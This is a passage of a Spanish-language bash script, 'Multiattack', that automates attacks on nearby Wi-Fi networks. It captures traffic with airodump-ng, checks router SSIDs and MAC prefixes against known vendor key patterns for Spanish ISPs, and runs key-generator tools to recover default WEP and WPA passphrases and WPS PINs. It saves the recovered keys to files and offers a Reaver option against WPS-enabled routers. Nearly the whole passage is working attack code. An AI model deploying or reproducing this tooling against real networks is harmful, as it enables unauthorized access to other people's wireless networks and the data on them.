   xterm -iconic -e wlan4xx  $Host_SSID $Host_MAC $WORDLIST
crackauto1
}
# lanzar ono4xx
function ono4xxwep_auto {
# cd /root/swireless/wordlist
# kmdr-executor /usr/share/wifislax/ono4xx.kmdr
        rm -rf $TEMP/*
   xterm -iconic -e ono4xx  $Host_SSID $Host_MAC wep $WORDLIST
crackauto1
}
function ono4xxwpa_auto {
# cd /root/swireless/wordlist
# kmdr-executor /usr/share/wifislax/ono4xx.kmdr
        rm -rf $TEMP/*
   xterm -iconic -e ono4xx  $Host_SSID $Host_MAC wpa $WORDLIST
crackauto1
}

function WPAmagickey {
   rm -rf $TEMP/*
   xterm -iconic -e WPAmagickey $Host_SSID  $Host_MAC $WORDLIST

magickey=`head -8 $WORDLIST|tail -1`


}


# leer la key obtenida por Aircrack-ng
function leerkey  {

if [ -e $DUMP_key/$Host_SSID ] ; then
cat $DUMP_key/$Host_SSID > /dev/null ; a=$?
while read clave1 ; do
echo ;
if [ "$WPA" = "1" ]; then
clave[$r]="${clave1} < Posible Key >"
fi
done < $DUMP_key/$Host_SSID
if [ "$WPA" != "1" ]; then
clave[$r]=${clave1}
fi

rm  -rf $DUMP_key/$Host_SSID
else
clave[$r]=".NO SE ENCONTRO LA CLAVE.."
break

fi
}

function autocrack  {

# comprobando si hay capturas, en caso contrario ejecuta el ataque.
if [ -e $DUMP_PATH/dump-01.csv ] ; then


#rm $DUMP_key/multiattack.txt
# leer datos de captura


ap_array=`cat $DUMP_PATH/dump-01.csv | grep -a -n Station | awk -F : '{print $1}'`
head -n $ap_array $DUMP_PATH/dump-01.csv &> $DUMP_PATH/dump_02.txt
clear
#sleep 1
echo "                         Listado de AP'S Objetivo"
echo ""
echo "        MAC                      ENC    DATAS   SSID"
echo ""
i=1
r=0
while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
 longueur=${#MAC}
   if [ $longueur -ge 17 ]; then
    i=$(($i+1))

#echo -e "\t"$Host_MAC"\t"$Host_ENC"\t"$Host_IV"\t"$Host_SSID




# Asignar valores de capturas a variables
aidlenght=$IDLENGTH
assid[$i]=$ESSID
amac[$i]=$MAC
aprivacy[$i]=$PRIVACY
aiv[$i]=$IV
idlenght=${aidlenght[$i]}
ssid=${assid[$i]}
mac=${amac[$i]}
privacy=${aprivacy[$i]}
datas=${aiv[$i]}
Host_ENC=$privacy
Host_MAC=$mac
Host_IV=$datas
acouper=${#ssid}
fin=$(($acouper-idlength))
Host_SSID=${ssid:1:fin}
#
# Comprobar que SSID y ENC no esten vacios
# para que no de error en las comparaciones
#
nadaSSID=${#Host_SSID}
if [ $nadaSSID = 0 ];then
Host_SSID="?????"
fi
if [ "$Host_ENC" = "     " ];then
Host_ENC="?????"
fi

echo -e "\t"$Host_MAC"\t"$Host_ENC"\t"$Host_IV"\t"$Host_SSID

nombretelefonica[$i]=${Host_SSID:0:5}
nombredlink[$i]=${Host_SSID:0:5}
nombretouch[$i]=${Host_SSID:0:10}
nombrethoms[$i]=${Host_SSID:0:7}
nombrejazztel[$i]=${Host_SSID:0:8}
nombreono[$i]=${Host_SSID:0:3}
nombreyacom[$i]=${Host_SSID:0:5}
nombrewlan[$i]=${Host_SSID:0:4}
nombrewifi[$i]=${Host_SSID:0:4}
nombreptv[$i]=${Host_SSID:0:3}

H_SSID[$i]=$Host_SSID
H_MAC[$i]=$Host_MAC
H_DATA[$i]=$Host_IV
H_ENC[$i]=$Host_ENC
long_SSID[$i]=${#Host_SSID}


r=$i



  fi
done < $DUMP_PATH/dump_02.txt


# comprobando si hay capturas, en caso contrario ejecuta el ataque.
if [ "$r" = "1" ] ; then
echo "                  * * *     A T E N C I O N     * * *                "
echo ""
echo "                  No se ha encontrado ninguna captura"
echo "                  antes debes capturar objetivos"
echo ""
else


###
###Comprobando SSID's, creando diccionarios y ejecutando aircrack
###

echo ""
echo ""
echo "--   Procesando Datos... Espere..."
echo ""
clave=""
PINWPS=""
redabierta=""
redopn="OPN"
  enc="WEP"
telef="WLAN_"
dlink="Dlink"
touch="SpeedTouch"
thoms="Thomson"
 jazz="JAZZTEL_"
  ono="ONO"
 wlan="WLAN"
yacom="YACOM"
 wifi="WiFi"
  PTV="PTV"
p=$r

while [ 2 -le $r ]; do
clave[$r]=""
WPA=""
#  asignando MAC conocidas de WLAN_XX

inimac[1]="40:4A:03"
inimac[2]="00:A0:C5"
inimac[3]="00:60:B3"
inimac[4]="00:30:DA"
inimac[5]="00:23:F8"
inimac[6]="00:1F:9F"
inimac[7]="00:1D:20"
inimac[8]="00:1A:2B"
inimac[9]="00:19:CB"
inimac[10]="00:19:15"
inimac[11]="00:16:38"
inimac[12]="00:13:49"
inimac[13]="00:03:DA"
inimac[14]="00:03:C9"
inimac[15]="00:02:CF"
inimac[16]="00:01:38"
inimac[17]="00:01:36"
inimac[18]="E0:91:53"
inimac[19]="50:67:F0"
inimac[20]="C8:6C:87"

realmac=${H_MAC[$r]}
inimac_WLAN=${realmac:0:8}
#  comprobando WLAN_XX
la="7"
i=20 # numero de MAC WLAN_xx conocidas
while [ 1 -le $i ]; do

if [ "$ESSID_cambiado" = "off" ]; then
if [ "${nombretelefonica[$r]}" = "$telef" ] && [ "${long_SSID[$r]}" = "$la" ] && [ ${H_DATA[$r]} -ge 4 ] && [ ${H_ENC[$r]} = $enc ] && [  "${inimac[$i]}" = "$inimac_WLAN" ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
wlandecrypter_auto
leerkey
fi
fi
#  comprobando posible WLAN_XX con nombre ESSID cambiado
if [ "$ESSID_cambiado" = "on" ]; then


if [ "${nombretelefonica[$r]}" != "$telef" ]  && [ "${nombretelefonica[$r]}" != "?????" ] && [ ${H_DATA[$r]} -ge 4 ] && [ ${H_ENC[$r]} = $enc ] && [  ${inimac[$i]} = $inimac_WLAN ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]}  => *** Posible red WLAN_XX ***  ten paciencia... Tardara unos minutos."
Host_SSID="WLAN_??"
Host_MAC=${H_MAC[$r]}
wlandecrypter_auto
leerkey
fi
fi
i=$(($i-1))
done



#  comprobando Dlink
la="5"
if [ "${nombredlink[$r]}" = "$dlink" ] && [ ${long_SSID[$r]} = $la ] && [ ${H_DATA[$r]} -ge 4 ] && [ ${H_ENC[$r]} = $enc ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
dlinkdecrypter_auto
leerkey
fi

#  comprobando SpeedTouch Thomson WPA
la="16"
if [ "${nombretouch[$r]}" = "$touch" ] && [ ${long_SSID[$r]} = $la ] && [ ${H_ENC[$r]} != $enc ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
hasta="h"
stkeys_auto_WPA
WPA="1"
leerkey
fi
la="13"
if [ "${nombrethoms[$r]}" = "$thoms" ] && [ ${long_SSID[$r]} = $la ] && [ ${H_ENC[$r]} != $enc ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
hasta="n"
stkeys_auto_WPA
WPA="1"
leerkey
fi

#  comprobando SpeedTouch Thomson WEP
la="16"
if [ "${nombretouch[$r]}" = "$touch" ] && [ ${long_SSID[$r]} = $la ] && [ ${H_ENC[$r]} = $enc ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
hasta="h"
stkeys_auto_WEP
leerkey
fi
la="13"
if [ "${nombrethoms[$r]}" = "$thoms" ] && [ ${long_SSID[$r]} = $la ] && [ ${H_ENC[$r]} = $enc ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
hasta="n"
stkeys_auto_WEP
leerkey
fi

#  asignando MAC conocidas de JAZZTEL_XX
inicmac[1]="00:1A:2B"
realmac=${H_MAC[$r]}
inimacJAZZ=${realmac:0:8}
i=1 # numero de MAC JAZZTEL_XX conocidas

#  comprobando JAZZTEL_XX
la="10"
while [ 1 -le $i ]; do

if [ "$ESSID_cambiado" = "off" ]; then
if [ "${nombrejazztel[$r]}" = "$jazz" ] && [ ${long_SSID[$r]} = $la ] && [ ${H_DATA[$r]} -ge 4 ] && [ ${H_ENC[$r]} = $enc ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
jazzteldecrypter_auto
leerkey
fi
fi

#  comprobando posible JAZZTEL_XX con nombre ESSID cambiado
if [ "$ESSID_cambiado" = "on" ]; then
if [ "${nombrejazztel[$r]}" != "$jazz" ] && [ "${nombrejazztel[$r]}" != "?????" ] && [ ${inimac[$i]} = $inimacJAZZ ] && [ ${H_DATA[$r]} -ge 4 ] && [ ${H_ENC[$r]} = $enc ] && [ "$ESSID_cambiado" = "on" ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]}  => *** Posible red JAZZTEL ***  ten paciencia... Tardara unos minutos."
Host_SSID="JAZZTEL_??"
Host_MAC=${H_MAC[$r]}
jazzteldecrypter_auto
leerkey
fi
fi
i=$(($i-1))
done

#  comprobando ONO WEP
#  asignando MAC conocidas de ONOXXXX
la="7"
inimac[1]="00:01:38"
inimac[2]="E0:91:53"
realmac=${H_MAC[$r]}
inimacONO=${realmac:0:8}
i=2 # numero de MAC ONOXXXX conocidas
while [ 1 -le $i ]; do
if [ "${nombreono[$r]}" = "$ono" ] && [ ${long_SSID[$r]} = $la ] && [ $inimacONO = ${inimac[$i]} ] && [ ${H_DATA[$r]} -ge 4 ] && [ ${H_ENC[$r]} = $enc ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
ono4xxwep_auto
leerkey
fi
i=$(($i-1))
done

#  comprobando WLANXXXXXX
la="10"
if [ "${nombrewlan[$r]}" = "$wlan" ] && [ ${long_SSID[$r]} = $la ] && [ ${H_DATA[$r]} -ge 4 ] && [ ${H_ENC[$r]} = $enc ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
wlan4xx_auto
leerkey
fi

#  comprobando YACOMxxxxxx
la="11"
if [ "${nombreyacom[$r]}" = "$yacom" ] && [ ${long_SSID[$r]} = $la ] && [ ${H_DATA[$r]} -ge 4 ] && [ ${H_ENC[$r]} = $enc ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
wlan4xx_auto
leerkey
fi

#  comprobando WiFixxxxxx
la="10"
if [ "${nombrewifi[$r]}" = "$wifi" ] && [ ${long_SSID[$r]} = $la ] && [ ${H_DATA[$r]} -ge 4 ] && [ ${H_ENC[$r]} = $enc ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
wlan4xx_auto
leerkey
fi

#  comprobando WLAN_XXXX y JAZZTEL_XXXX

#asignar MACs conocidas Para WLAN_XXXX
inimac[1]="00:1A:2B"
inimac[2]="00:1D:20"
inimac[3]="38:72:C0"
inimac[4]="64:68:0C"
inimac[5]="00:1F:A4"
inimac[6]="F4:3E:61"

la="9"
magickey=""
realmac=${H_MAC[$r]}
inimacWLANmagic=${realmac:0:8}
i=6  # numero de MACs conocidas de WLAN_XXXX y JAZZTEL_XXXX

# asignar PIN WPS A ROUTER TELECOM 00:19:15 WLAN_XXXX
if [ "${nombretelefonica[$r]}" = "$telef" ] && [ ${long_SSID[$r]} = $la ] && [ "$inimacWLANmagic" = "00:19:15" ];then
echo "--   Obteniendo PIN-WPS de: ${H_SSID[$r]} Espere . . ."
PINWPS[$r]="12345670....."
clave[$r]=".........................."
fi

while [ 1 -le $i ]; do

if [ "${nombretelefonica[$r]}" = "$telef" ] && [ "${long_SSID[$r]}" = "$la" ] && [ "$inimacWLANmagic" = "${inimac[$i]}" ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
WPAmagickey
clave[$r]=$magickey
PINWPS[$r]="............."
#WPA="1"
#leerkey
if [ ${H_ENC[$r]} = $enc ]; then
ESSID=`echo $Host_SSID | awk -F "_" '{print $2}'`
MACESS=`echo $Host_MAC | awk -F ":" '{print $1 $2 $3 $4}'`$ESSID
clave[$r]=C$MACESS"             "
fi

fi
i=$(($i-1))
done

#  comprobando JAZZTEL_XXXX WPA
#asignar MACs conocidas Para WLAN_XXXX
inimac[1]="00:1A:2B"
inimac[2]="00:1D:20"
inimac[3]="38:72:C0"
inimac[4]="64:68:0C"
inimac[5]="00:1F:A4"
inimac[6]="F4:3E:61"

la="12"
magickey=""
realmac=${H_MAC[$r]}
inimacWLANmagic=${realmac:0:8}
i=6  # numero de MACs conocidas de WLAN_XXXX y JAZZTEL_XXXX

while [ 1 -le $i ]; do

if [ "${nombrejazztel[$r]}" = "$jazz" ] && [ ${long_SSID[$r]} = $la ] && [  ${inimac[$i]} = $inimacWLANmagic ] ; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
WPAmagickey
clave[$r]=$magickey
PINWPS[$r]="............."
#WPA="1"
#leerkey
if [ ${H_ENC[$r]} = $enc ]; then
ESSID=`echo $Host_SSID | awk -F "_" '{print $2}'`
MACESS=`echo $Host_MAC | awk -F ":" '{print $1 $2 $3 $4}'`$ESSID
clave[$r]=C$MACESS"             "
fi
fi
i=$(($i-1))
done



#  comprobando PTV_xxxx WEP
if [ "${nombreptv[$r]}" = "$PTV" ]  && [ ${H_ENC[$r]} = $enc ]; then
echo "--   Obteniendo KEY de: ${H_SSID[$r]} Espere . . ."
# quitamos los ":" de la MAC
Host_MAC=${H_MAC[$r]}
MACsinpuntos="`echo $Host_MAC|tr -d ':'`"
clave[$r]=${MACsinpuntos:2:10}

fi

# Comprobar si la red está abierta
#
# Comprobar que  H_ENC no este vacio
# para que no de error en las comparaciones
#

if [ "${H_ENC[$r]}" != "     " ];then

if [ ${H_ENC[$r]} = $redopn ]; then
Host_SSID=${H_SSID[$r]}
Host_MAC=${H_MAC[$r]}
#clave[$r]="...LA RED ESTA ABIERTA...."
redabierta=$(($redabierta+1))
fi
fi

r=$(($r-1))
done


#
#   Guardando datos en archivo y mostrando resusltados por pantalla
#
echo " "
echo "--   Terminado. "
sleep 3
rm  -rf $TEMP/multiattack.txt
> $TEMP/multiattack.txt
> $TEMP/keyswep
> $TEMP/keyswpa
i=0
WEPi=0
WPAi=0
contadorkeys=0
while [ 2 -le $p ]; do
if [ "${clave[$p]}" != "" ]; then
# i=$(($i+1))
# Rellenar clave y ESSID con puntos para mostrar por pantalla de forma alineada
largo=${clave[$p]}
ESSD=${H_SSID[$p]}
function rellenarclave {
longclave=${#largo}
if [ $longclave -le 25 ]; then
largo=$largo"."
rellenarclave
fi
}
function rellenaressid {
longESSID=${#ESSD}
if [ $longESSID -le 13 ]; then
ESSD=$ESSD"."
rellenaressid
fi
}
rellenaressid
if [ "${clave[$p]}" != ".NO SE ENCONTRO LA CLAVE.." ] ; then
rellenarclave
# Asignar clave de 26 caracteres en HEXA a claveHEX
claveHEX=$largo
contadorkeys=$(($contadorkeys+1))

#fi
# convertir clave en HEXA a ASCII
if [ ${H_ENC[$p]} = "WEP" ];then
claveHEX2ASCII=${clave[$p]}
HexString2ASCII $claveHEX2ASCII
claveASCII=$HexString2ASCIIResult
# si la clave no se puede pasar a ASCII rellenar con 13 puntos para alinear en pantalla
if [ $HexStringToASCIINotFullyPrintable = "true" ]; then
claveASCII="............."
fi
fi
fi
if [ "${clave[$p]}" = ".NO SE ENCONTRO LA CLAVE.." ] ; then
claveHEX=${clave[$p]}
claveASCII="............."
fi

if [ "${clave[$p]}" = "...LA RED ESTA ABIERTA...." ]; then
claveHEX=${clave[$p]}
claveASCII="............."
fi
# Guardar resusltados en fichero temporal dependiendo si encriptacion WEP o WPA

#echo ${H_ENC[$p]}
# Con encriptacion WEP
if [ ${H_ENC[$p]} != "WPA" ] && [ ${H_ENC[$p]} != "WPA2" ]; then
WEPi=$(($WEPi+1))

echo "$WEPi) $ESSD  $claveHEX  $claveASCII ${H_ENC[$p]} ${H_MAC[$p]}" >> $TEMP/keyswep
#  Guardar clave en archivo con ESSID y MAC de la red WEP
 if [ "${clave[$p]}" != ".NO SE ENCONTRO LA CLAVE.." ] ; then

MACsinpuntos="`echo ${H_MAC[$p]}|tr -d ':'`"
archivoclave="${H_SSID[$p]}--$MACsinpuntos.txt"
> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "Key obtenida con Multiattack $version" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "RED: ${H_SSID[$p]} " >> $DUMP_key/$archivoclave
echo  "MAC: ${H_MAC[$p]}  " >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "KEY en HEXADECIMAL ....  ${clave[$p]} " >> $DUMP_key/$archivoclave
echo  "KEY en ASCII  .........  $claveASCII " >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo "Para mayor seguridad de su red se recomienda que cambie la clave " >> $DUMP_key/$archivoclave
echo "por defecto y se utilice cifrado WPA con una clave robusta" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo "Visita: www.seguridadwireless.net" >> $DUMP_key/$archivoclave
fi
else
# Con encriptacion WPA
WPAi=$(($WPAi+1))

echo "$WPAi) $ESSD  $claveHEX  ${PINWPS[$p]}  ${H_ENC[$p]} ${H_MAC[$p]}" >> $TEMP/keyswpa
#  Guardar clave en archivo con ESSID y MAC de la red WPA
 MACsinpuntos="`echo ${H_MAC[$p]}|tr -d ':'`"
archivoclave="${H_SSID[$p]}--$MACsinpuntos.txt"
> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "Key obtenida con Multiattack $version" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "RED: ${H_SSID[$p]} " >> $DUMP_key/$archivoclave
echo  "MAC: ${H_MAC[$p]}  " >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "Passphrase ....  ${clave[$p]} " >> $DUMP_key/$archivoclave
echo  "PIN-WPS .......  ${PINWPS[$p]}" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo "Para mayor seguridad de su red se recomienda que cambie la clave " >> $DUMP_key/$archivoclave
echo "por defecto y se utilice cifrado WPA con una clave robusta" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo "Visita: www.seguridadwireless.net" >> $DUMP_key/$archivoclave
fi

fi
p=$(($p-1))
done

# Guardar resusltados en Multiattack.txt
#echo "$i) $ESSD  $claveHEX  $claveASCII ${H_ENC[$p]} ${H_MAC[$p]}" >> $DUMP_key/multiattack.txt

#guardar cabecera del archivo
echo "" >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
echo "  M U L T I A T T A C K   P A R A   P A T R O N E S   C O N O C I D O S" >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
echo "                  * * *     R E S U L T A D O     * * *                " >> $TEMP/multiattack.txt

# #leer resultados WEP y guardar en archivo multiattack.txt SI HAY DATOS WEP
if [ $WEPi != 0 ]; then
echo "" >> $TEMP/multiattack.txt
echo "*************************  Redes con encriptacion WEP  ******************************" >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
echo "     ESSID         CLAVE HEXA                  CLAVE ASCII    ENC  MAC" >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
cat  $TEMP/keyswep >> $TEMP/multiattack.txt
rm  -rf $TEMP/keyswep
echo "" >> $TEMP/multiattack.txt
echo "*************************************************************************************" >> $TEMP/multiattack.txt
fi

#leer resultados WPA y guardar en archivo multiattack.txt SI HAY DATOS WPA
if [ $WPAi != 0 ]; then
echo "" >> $TEMP/multiattack.txt
echo "*************************  Redes con encriptacion WPA  ******************************" >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
echo "     ESSID         PASSPHRASE                  PIN-WPS         ENC  MAC" >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
cat  $TEMP/keyswpa >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
rm  -rf $TEMP/keyswpa
echo "*************************************************************************************" >> $TEMP/multiattack.txt



obtenerWPS

fi

#copiar resumen de resultados al directorio de keys en el Fichero Multiattack+fecha+hora.txt
hora="$(date +"%d-%m-%Y_%H-%M-%S")"
cat $TEMP/multiattack.txt | sed -e 's/$/\r/' > $DUMP_key/Multiattack_${hora}.txt

fi
# si no se obtienen resultados...
if [ "$contadorkeys" = "0" ];then
clear
echo ""
echo ""
echo "  M U L T I A T T A C K   P A R A   P A T R O N E S   C O N O C I D O S"
echo ""
echo "                  * * *     A T E N C I O N     * * *                "
echo ""
echo "                     No Se han obtenido resultados"
echo ""
echo "       Puede ser que en la captura no hayan REDES con patron conocido "
echo "               o que no habian sufifcientes DATA's capturados"
echo ""
rm  -rf $TEMP/multiattack.txt
obtenerWPS
if  [ "$redesWPS" != "0" ];then
echo "*************************************************************************************" #>> $TEMP/multiattack.txt
cat $TEMP/multiattack.txt 
rm  -rf $TEMP/multiattack.txt
fi

echo "                     Pulsa INTRO para volver al menú"
read yn
else
clear
echo "" >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
echo "         Se ha(n) obtenido la(s) clave(s) por defecto de '$contadorkeys' red(es)" >> $TEMP/multiattack.txt
if [ $redabierta != "" ]; then
echo "" >> $TEMP/multiattack.txt
echo "         Se ha(n) encontrado '$redabierta' red(es) abierta(s). "  >> $TEMP/multiattack.txt
fi
echo "" >> $TEMP/multiattack.txt
echo "         Se ha(n) encontrado '$redesWPS' red(es) con WPS activado. "  >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
echo "         Los resultados se han guardado en el direcctorio:" >> $TEMP/multiattack.txt
echo "         $DUMP_key" >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
#zenity --width=900 --height=1000 --text-info --title="Multiattack $version RESULTADOS..." --filename="$TEMP/multiattack.txt"
xterm -hold -title "Multiattack $version RESULTADOS..." $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e cat $TEMP/multiattack.txt  & sleep 1
rm  -rf $TEMP/multiattack.txt
fi
echo ""
menu
else

clear
echo "                  * * *     A T E N C I O N     * * *                "
echo ""
echo "                  No se ha encontrado ninguna captura"
echo "                  antes debes capturar objetivos"
echo ""
echo "                     Pulsa INTRO para volver al menú"
read yn

menu

fi


echo "                     Pulsa INTRO para volver al menú"
read yn

menu
}

#Manual basico
function manual {
clear
> $TEMP/manual.txt
  echo "" >> $TEMP/manual.txt
  echo "                       ++ MANUAL ++ MANUAL ++ MANUAL ++ MANUAL ++ MANUAL ++  " >> $TEMP/manual.txt
  echo "" >> $TEMP/manual.txt
  echo "   Opción 1-. MODO AUTOMATICO. Con esta opción obtenemos las keys por defecto de forma automatica." >> $TEMP/manual.txt
  echo "              Sólo deberemos fijar el tiempo (en minutos) que queremos que dure la captura y el " >> $TEMP/manual.txt
  echo "              programa se encargara de hacer la captura y mostrar los resultados después de que " >> $TEMP/manual.txt
  echo "              transcurra el tiempo fijado. " >> $TEMP/manual.txt
  echo "   Opción 2-. ESCANEO DE REDES. Con esta opción veremos las redes en nuestro alcance,con esto solo"  >> $TEMP/manual.txt
  echo "              visualizamos, no estamos capturando paquetes." >> $TEMP/manual.txt
  echo "              IMPORTANTE si tenemos muchas redes a nuestro alcance hacer un ataque selectivo por " >> $TEMP/manual.txt
  echo "              canales para no saturar el archivo de captura de datos" >> $TEMP/manual.txt
  echo "   Opción 3-. CAPTURA DE DATOS. Con esta opción iniciaremos la captura de de las redes a nuestro" >> $TEMP/manual.txt
  echo "              alcance. Antes de iniciar la captura se muestra un submenu en el que podemos hacer " >> $TEMP/manual.txt
  echo "              una seleccion de los canales de los que queremos capturar " >> $TEMP/manual.txt
  echo "              Pulsando ENTER capturaremos de todos los canales a nuestro alcance" >> $TEMP/manual.txt
  echo "              Escribiendo (por ej.) 6 capturaremos datos del canal 6" >> $TEMP/manual.txt
  echo "              Escribiendo (por ej.) 1-5 capturaremos datos de los canales 1 al 5" >> $TEMP/manual.txt
  echo "              Escribiendo (por ej.) 1,6,11 capturaremos datos de los canales 1, 6 y 11" >> $TEMP/manual.txt
  echo "              Una vez tengamos suficientes DATAS cerraremos la shell de captura." >> $TEMP/manual.txt
  echo "            ### DEBEN TENER AL MENOS 4 DATAS PARA PODER DESCIFRAR LA KEY GENERICA ###" >> $TEMP/manual.txt
  echo "   Opción 4-. OBTENER KEY's POR DEFECTO. Una vez hecha la captura, con esta opción , se ejecutará" >> $TEMP/manual.txt
  echo "              el ataque para la obtención de KEY'S de las redes en las que es conocido el patrón" >> $TEMP/manual.txt
  echo "              que las genera. El resultado se visualizará en pantalla y se guardará en" >> $TEMP/manual.txt
  echo "              $DUMP_key" >> $TEMP/manual.txt
  echo "   Opción 5-. OBTENER KEY's CON ESSID CAMBIADO. Es igual que la opción anterior, pero en este caso," >> $TEMP/manual.txt
  echo "              tambien se hará el ataque para la obtención de KEY'S de redes cuyos nombres hayan sido" >> $TEMP/manual.txt
  echo "              cambiados pero que se han respetado las claves por defecto." >> $TEMP/manual.txt
  echo "   Opción 6-. Ejecutar REAVER. Desde aquí lanzaremos REAVER sobre las redes con WPS activado" >> $TEMP/manual.txt
  echo "              de las capturas hechas con Multiattack" >> $TEMP/manual.txt
#  echo "   Opcion 7-. Ejecuta airmon para seleccionar-montar tarjeta en modo monitor." >> $TEMP/manual.txt
  echo "   Opción 9-. MANUAL DE USO. Muestra esta pantalla." >> $TEMP/manual.txt
  echo "   Opción 0-. Salir. Desde aquí cerraremos Multiattack, pudiendo antes desmontar o no la tarjeta" >> $TEMP/manual.txt
  echo "              que se ha montado en modo monitor." >> $TEMP/manual.txt
  echo "" >> $TEMP/manual.txt
  echo "" >> $TEMP/manual.txt
 #zenity --width=900 --height=800 --text-info --title="Multiattack $version" --filename="$TEMP/manual.txt"
xterm -hold -title "Multiattack $version MANUAL DE USO" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e cat $TEMP/manual.txt   & sleep 1
rm  -rf $TEMP/manual.txt
menu
}

# Modo Automatico
function automode {
clear
echo ""
echo "                     M U L T I A T T A C K   ( Modo Automático)"
echo ""
echo ""
echo "                    ¿ cuanto tiempo quieres que dure la captura? "
echo "                    (introducir el tiempo en minutos)"
echo "  "
echo " "
function time_scan {
read time
if [ "$time" = "" ];then
time_scan
fi
}
time_scan
timescan="$time""m"

chan=""

echo "                   Seleccione ahora el Canal de Capturas     "
echo ""
echo "                   Un solo canal     6 "
echo "                   Rango de canales  1-5 "
echo "                   Multiples canales 1,2,5-7,11"
echo "                   Para todos los canales ENTER "
echo ""
echo "                   Para volver al MENU -> m "
  read DUMP_channel
if [ "$DUMP_channel" = "m" ]; then
menu
fi
clear
   if [ "$DUMP_channel" = "$chan" ]; then
   canal="... Todos los canales..."
   else
   canal="El[os] Canal[es] ... $DUMP_channel ..."
   fi
echo ""
echo "                     M U L T I A T T A C K   ( Modo Automático)"
echo ""
echo ""
echo "                    La captura de datos durará... $time  minutos"
echo "                    Se atacarán $canal"
echo ""
echo "                    Iniciando..."
echo ""
echo "                    ...NO interumpir la captura..."
sleep 3
if [ -e $DUMP_PATH/dump-01.cap ]; then
rm  $DUMP_PATH/dump*
fi
   if [ "$DUMP_channel" = "$chan" ]; then
xterm $HOLD -title "Capturando Objetivos en $canal..." $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng  -w $DUMP_PATH/dump -a $WIFI & sleep $timescan
   else
xterm $HOLD -title "Capturando Objetivos en $canal..." $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --channel "$DUMP_channel" -w $DUMP_PATH/dump -a $WIFI & sleep $timescan
fi
pkill airodump-ng
echo "                    Captura finalizada."
echo ""
echo "                    Se va a iniciar la busqueda de keys..."
sleep 3

ESSID_cambiado="off"
auto=""
autocrack

}

# MENU principal
function menu {
#
while true; do
clear
ESSID_cambiado=""
auto=""
only=""
choose=""
  echo ""
  echo ""
  echo "  M U L T I A T T A C K   P A R A   P A T R O N E S   C O N O C I D O S"
  echo ""
  echo " ####################################################################"
  echo " ###                  Multiattack "$version"                  ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo "        ###   1) Modo Automático                                         ###"
  echo "        ###   2) Iniciar Escaneo de Redes                                ###"
  echo "        ###   3) Iniciar Captura en busca de objetivos                   ###"
